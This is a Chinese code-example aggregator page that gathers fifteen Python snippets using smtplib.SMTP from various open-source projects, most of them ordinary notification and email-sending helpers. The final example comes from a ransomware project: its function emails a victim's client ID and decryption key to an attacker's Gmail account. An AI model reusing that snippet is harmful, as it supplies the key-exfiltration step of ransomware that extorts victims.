当前位置: 首页>>代码示例>>Python>>正文


Python smtplib.SMTP属性代码示例

本文整理汇总了Python中smtplib.SMTP属性的典型用法代码示例。如果您正苦于以下问题:Python smtplib.SMTP属性的具体用法?Python smtplib.SMTP怎么用?Python smtplib.SMTP使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在smtplib的用法示例。


在下文中一共展示了smtplib.SMTP属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: __init__

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def __init__(self, id, params):
		super(Mailer, self).__init__(id, params)
		
		try:
			# SMTP Server config + data dir
			self.data_dir = params.get("data_dir", "/var/tmp/secpi/alarms")
			self.smtp_address = params["smtp_address"]
			self.smtp_port = int(params["smtp_port"])
			self.smtp_user = params["smtp_user"]
			self.smtp_pass = params["smtp_pass"]
			self.smtp_security = params["smtp_security"]
		except KeyError as ke: # if config parameters are missing
			logging.error("Mailer: Wasn't able to initialize the notifier, it seems there is a config parameter missing: %s" % ke)
			self.corrupted = True
			return
		except ValueError as ve: # if one configuration parameter can't be parsed as int
			logging.error("Mailer: Wasn't able to initialize the notifier, please check your configuration: %s" % ve)
			self.corrupted = True
			return

		logging.info("Mailer: Notifier initialized") 
开发者ID:SecPi,项目名称:SecPi,代码行数:23,代码来源:mailer.py

示例2: handle_DATA

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def handle_DATA(self, server, session, envelope: Envelope):
        LOG.debug(
            "===>> New message, mail from %s, rctp tos %s ",
            envelope.mail_from,
            envelope.rcpt_tos,
        )

        if POSTFIX_SUBMISSION_TLS:
            smtp = SMTP(POSTFIX_SERVER, 587)
            smtp.starttls()
        else:
            smtp = SMTP(POSTFIX_SERVER, POSTFIX_PORT or 25)

        app = new_app()
        with app.app_context():
            return handle(envelope, smtp) 
开发者ID:simple-login,项目名称:app,代码行数:18,代码来源:email_handler.py

示例3: main

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def main():
    r = requests.get(
        'https://api.github.com/repos/buildbot/buildbot/issues?labels=merge me'
    )
    body = ["%(html_url)s - %(title)s" % pr for pr in r.json()]
    if not body:
        return

    body = "Mergeable pull requests:\n\n" + "\n".join(body)

    smtp = smtplib.SMTP('localhost')
    smtp.sendmail(FROM, RECIPIENT, """\
Subject: Mergeable Buildbot pull requests
From: %s
To: %s

%s""" % (FROM, RECIPIENT, body)) 
开发者ID:buildbot,项目名称:buildbot-infra,代码行数:19,代码来源:mergeable.py

示例4: sendEmail

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def sendEmail(emailContents, receiver):
	SERVER = "localhost"
	FROM = "admin@botdiggertest.com"
	TO = list()
	TO.append(receiver)
	#TO = ["botdiggeradmin@test.com"] # must be a list
	SUBJECT = "BotDigger Notice"
	TEXT = emailContents
	message = """\From: %s\nTo: %s\nSubject: %s\n\n%s""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
	try:
		server = smtplib.SMTP(SERVER)
		server.sendmail(FROM, TO, message)
		server.quit()
		print "Successfully sent email"
	except:
		print "Error: unable to send email" 
开发者ID:hanzhang0116,项目名称:BotDigger,代码行数:18,代码来源:BotDigger.py

示例5: mail_send_with_details

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def mail_send_with_details(relay, sender, subject, to, text, xmailer=None, followup_to=None, dry=True):
    import smtplib
    from email.mime.text import MIMEText
    import email.utils
    msg = MIMEText(text, _charset='UTF-8')
    msg['Subject'] = subject
    msg['Message-ID'] = email.utils.make_msgid()
    msg['Date'] = email.utils.formatdate(localtime=1)
    msg['From'] = sender
    msg['To'] = to
    if followup_to:
        msg['Mail-Followup-To'] = followup_to
    if xmailer:
        msg.add_header('X-Mailer', xmailer)
    msg.add_header('Precedence', 'bulk')
    if dry:
        logger.debug(msg.as_string())
        return
    logger.info("%s: %s", msg['To'], msg['Subject'])
    s = smtplib.SMTP(relay)
    s.sendmail(msg['From'], {msg['To'], sender }, msg.as_string())
    s.quit() 
开发者ID:openSUSE,项目名称:openSUSE-release-tools,代码行数:24,代码来源:util.py

示例6: send

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def send(
    sender, to,
    subject='None',
    body='None',
    server='localhost'
):
    """sends a message."""
    message = email.message.Message()
    message['To'] = to
    message['From'] = sender
    message['Subject'] = subject
    message.set_payload(body)

    server = smtplib.SMTP(server)
    try:
        return server.sendmail(sender, to, message.as_string())
    finally:
        server.quit() 
开发者ID:PacktPublishing,项目名称:Expert-Python-Programming_Second-Edition,代码行数:20,代码来源:mailer.py

示例7: send_mail

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def send_mail(to_email,message):
# 定义邮件发送
# Define send_mail() function
	smtp_host = 'smtp.xxx.com'
	# 发件箱服务器
	# Outbox Server
	from_email = 'from_email@xxx.com'
	# 发件邮箱
	# from_email
	passwd = 'xxxxxx'
	# 发件邮箱密码
	# from_email_password
	msg = MIMEText(message,'plain','utf-8')
	msg['Subject'] = Header(u'Email Subject','utf-8').encode()
	# 邮件主题
	# Email Subject
	smtp_server = smtplib.SMTP(smtp_host,25)
	# 发件服务器端口
	# Outbox Server Port
	smtp_server.login(from_email,passwd)
	smtp_server.sendmail(from_email,[to_email],msg.as_string())
	smtp_server.quit() 
开发者ID:wing324,项目名称:autopython,代码行数:24,代码来源:send_email_with_python.py

示例8: sendfailmail

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def sendfailmail():
    try:
        SUBJECT = 'QQ点赞机下线提醒'
        TO = [sendtomail]
        msg = MIMEMultipart('alternative')
        msg['Subject'] = Header(SUBJECT, 'utf-8')
        msg['From'] = mailsig+'<'+mailuser+'>'
        msg['To'] = ', '.join(TO)
        part = MIMEText("Fatal error occured. Please go to the website and login again!", 'plain', 'utf-8')
        msg.attach(part)
        server = smtplib.SMTP(mailserver, 25)
        server.login(mailuser, mailpass)
        server.login(mailuser, mailpass)
        server.sendmail(mailuser, TO, msg.as_string())
        server.quit()
        return True
    except Exception , e:
        logging.error("发送程序错误邮件失败:"+str(e))
        return False 
开发者ID:zeruniverse,项目名称:QBotWebWrap,代码行数:21,代码来源:qqbot.py

示例9: sendfailmail

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def sendfailmail():
    global QQUserName, MyUIN
    try:
        SUBJECT = 'QQ挂机下线提醒: '+str(QQUserName)+'[QQ号:'+str(MyUIN)+']'
        TO = [sendtomail]
        msg = MIMEMultipart('alternative')
        msg['Subject'] = Header(SUBJECT, 'utf-8')
        msg['From'] = mailsig+'<'+mailuser+'>'
        msg['To'] = ', '.join(TO)
        part = MIMEText("Fatal error occured. Please restart the program and login again!", 'plain', 'utf-8')
        msg.attach(part)
        server = smtplib.SMTP(mailserver, 25)
        server.login(mailuser, mailpass)
        server.login(mailuser, mailpass)
        server.sendmail(mailuser, TO, msg.as_string())
        server.quit()
        return True
    except Exception , e:
        logging.error("发送程序错误邮件失败:"+str(e))
        return False 
开发者ID:zeruniverse,项目名称:QBotWebWrap,代码行数:22,代码来源:qqbot.py

示例10: smtpmail

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def smtpmail(self,subinfo):
        try:
            SUBJECT = '来自 '+subinfo+'的留言'
            TO = [sendtomail]
            msg = MIMEMultipart('alternative')
            msg['Subject'] = Header(SUBJECT, 'utf-8')
            msg['From'] = mailsig+'<'+mailuser+'>'
            msg['To'] = ', '.join(TO)
            part = MIMEText(self.content, 'plain', 'utf-8')
            msg.attach(part)        
            server = smtplib.SMTP(mailserver, 25)
            server.login(mailuser, mailpass)
            server.login(mailuser, mailpass)
            server.sendmail(mailuser, TO, msg.as_string())
            server.quit()
            return True
        except Exception, e:
            logging.error("error sending msg:"+str(e))
            return False 
开发者ID:zeruniverse,项目名称:QBotWebWrap,代码行数:21,代码来源:qqbot.py

示例11: sendfailmail

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def sendfailmail():
    try:
        SUBJECT = 'QQ小黄鸡下线提醒'
        TO = [sendtomail]
        msg = MIMEMultipart('alternative')
        msg['Subject'] = Header(SUBJECT, 'utf-8')
        msg['From'] = mailsig+'<'+mailuser+'>'
        msg['To'] = ', '.join(TO)
        part = MIMEText("Fatal error occured. Please go to the website and login again!", 'plain', 'utf-8')
        msg.attach(part)
        server = smtplib.SMTP(mailserver, 25)
        server.login(mailuser, mailpass)
        server.login(mailuser, mailpass)
        server.sendmail(mailuser, TO, msg.as_string())
        server.quit()
        return True
    except Exception , e:
        logging.error("发送程序错误邮件失败:"+str(e))
        return False 
开发者ID:zeruniverse,项目名称:QBotWebWrap,代码行数:21,代码来源:qqbot.py

示例12: report

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def report(self, exc_data):
        msg = self.assemble_email(exc_data)
        server = smtplib.SMTP(self.smtp_server)
        if self.smtp_use_tls:
            server.ehlo()
            server.starttls()
            server.ehlo()
        if self.smtp_username and self.smtp_password:
            server.login(self.smtp_username, self.smtp_password)
        server.sendmail(self.from_address,
                        self.to_addresses, msg.as_string())
        try:
            server.quit()
        except sslerror:
            # sslerror is raised in tls connections on closing sometimes
            pass 
开发者ID:linuxscout,项目名称:mishkal,代码行数:18,代码来源:reporter.py

示例13: send_reset_email

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def send_reset_email(self):
        expires = datetime.datetime.now() + reset_password_timeout
        url = self.generate_reset_link()
        body = ("A password reset for {} has been requested.\r\n".format(self.username),
                "Navigate to {} to complete reset.".format(url),
                "Expires on {}".format(expires.isoformat())
                )
        message = MIMEText('\r\n'.join(body))
        message['Subject'] = "Password Reset Link for CASCADE on {}".format(settings.load()['server']['hostname'])
        message['From'] = 'cascade@' + settings.load()['server']['hostname']
        message['To'] = self.email

        server = smtplib.SMTP(settings.load()['links']['smtp'])
        server.set_debuglevel(1)
        server.sendmail(message['From'], [self.email], message.as_string())
        server.quit() 
开发者ID:mitre,项目名称:cascade-server,代码行数:18,代码来源:users.py

示例14: sendEmail

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def sendEmail(subject, body, credentials):    
    self = credentials[0]
    password = credentials[1]    
    fromAddr = credentials[2]
    toAddr = credentials[3]   
    msg = MIMEMultipart()
    msg['From'] = fromAddr
    msg['To'] = toAddr
    msg['Subject'] = subject   
    msgText = MIMEText(body, 'html', 'UTF-8')
    msg.attach(msgText)
    server = SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(self, password)
    text = msg.as_string()
    server.sendmail(fromAddr, toAddr, text)
    server.quit()

# --- Scraping Methods --------------------------------------------------------- 
开发者ID:anfederico,项目名称:Stockeye,代码行数:21,代码来源:watch.py

示例15: send_Key_SMTP

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP [as 别名]
def send_Key_SMTP():
	ts = datetime.datetime.now()
	SERVER = "smtp.gmail.com" 		
	PORT = 587 						
	USER= "address@gmail.com"		# Specify Username Here 
	PASS= "prettyflypassword"	    # Specify Password Here
	FROM = USER
	TO = ["address@gmail.com"] 		
	SUBJECT = "Ransomware data: "+str(ts)
	MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey)
	message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
	try:              
		server = smtplib.SMTP()
		server.connect(SERVER, PORT)
		server.starttls()
		server.login(USER, PASS)
		server.sendmail(FROM, TO, message)
		server.quit()
	except Exception as e:
		# print e
		pass 
开发者ID:NullArray,项目名称:Cypher,代码行数:23,代码来源:cyphermain.py


注:本文中的smtplib.SMTP属性示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。